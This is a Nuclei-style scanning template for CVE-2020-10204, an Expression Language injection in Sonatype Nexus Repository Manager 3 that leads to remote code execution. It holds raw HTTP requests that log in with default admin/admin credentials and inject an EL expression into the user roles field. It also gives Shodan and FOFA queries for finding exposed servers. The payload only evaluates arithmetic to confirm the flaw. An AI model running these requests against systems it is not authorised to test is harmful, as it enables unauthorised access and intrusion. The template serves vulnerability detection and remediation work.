Sonatype Nexus Repository Manager 3 up to and including 3.21.1 is vulnerable to Expression Language injection. An attacker authenticated with an administrative account can inject an EL expression into the user "roles" field of the coreui_User update endpoint, leading to remote code execution. This is a bypass of the fix for CVE-2018-16621.
PoC
id: CVE-2020-10204
info:
name: Sonatype Nexus Repository Manager 3 - Remote Code Execution
author: mmadersbacher
severity: high
description: |
Sonatype Nexus Repository Manager 3 up to and including 3.21.1 is vulnerable to Expression Language injection. An attacker authenticated with an administrative account can inject an EL expression into the user "roles" field of the coreui_User update endpoint, leading to remote code execution. This is a bypass of the fix for CVE-2018-16621.
impact: |
Remote code execution on the Nexus Repository Manager host.
remediation: |
Upgrade to Sonatype Nexus Repository Manager 3.21.2 or later.
reference:
- https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2020-10204
- https://nvd.nist.gov/vuln/detail/CVE-2020-10204
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2020-10204
epss-score: 0.38166
epss-percentile: 0.98482
cwe-id: CWE-20
metadata:
verified: true
max-request: 2
vendor: sonatype
product: nexus
shodan-query: http.component:"Nexus Repository Manager"
fofa-query: title="nexus repository manager"
tags: cve,cve2020,nexus,rce,sonatype,el-injection,intrusive,authenticated
variables:
username: admin
password: admin
http:
- raw:
- |
POST /service/rapture/session HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
username={{base64(username)}}&password={{base64(password)}}
- |
POST /service/extdirect HTTP/1.1
Host: {{Hostname}}
NX-ANTI-CSRF-TOKEN: 1
X-Nexus-UI: true
Content-Type: application/json
Cookie: NX-ANTI-CSRF-TOKEN=1
{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User","email":"admin@example.org","status":"active","roles":["nx-admin$\\B{3*3333}"]}],"type":"rpc","tid":11}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "nx-adminB9999"
- "Missing roles"
condition: and
- type: status
status:
- 200
# digest: 4a0a0047304502210083c86db4e3741ab6448d012572f80113c271b2fef4c09fe115fd14cdbbdc3359022071ab95a8b96807750fd7cf7f096e1c7007c682401332b0dcc2a8c25010afaafd:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.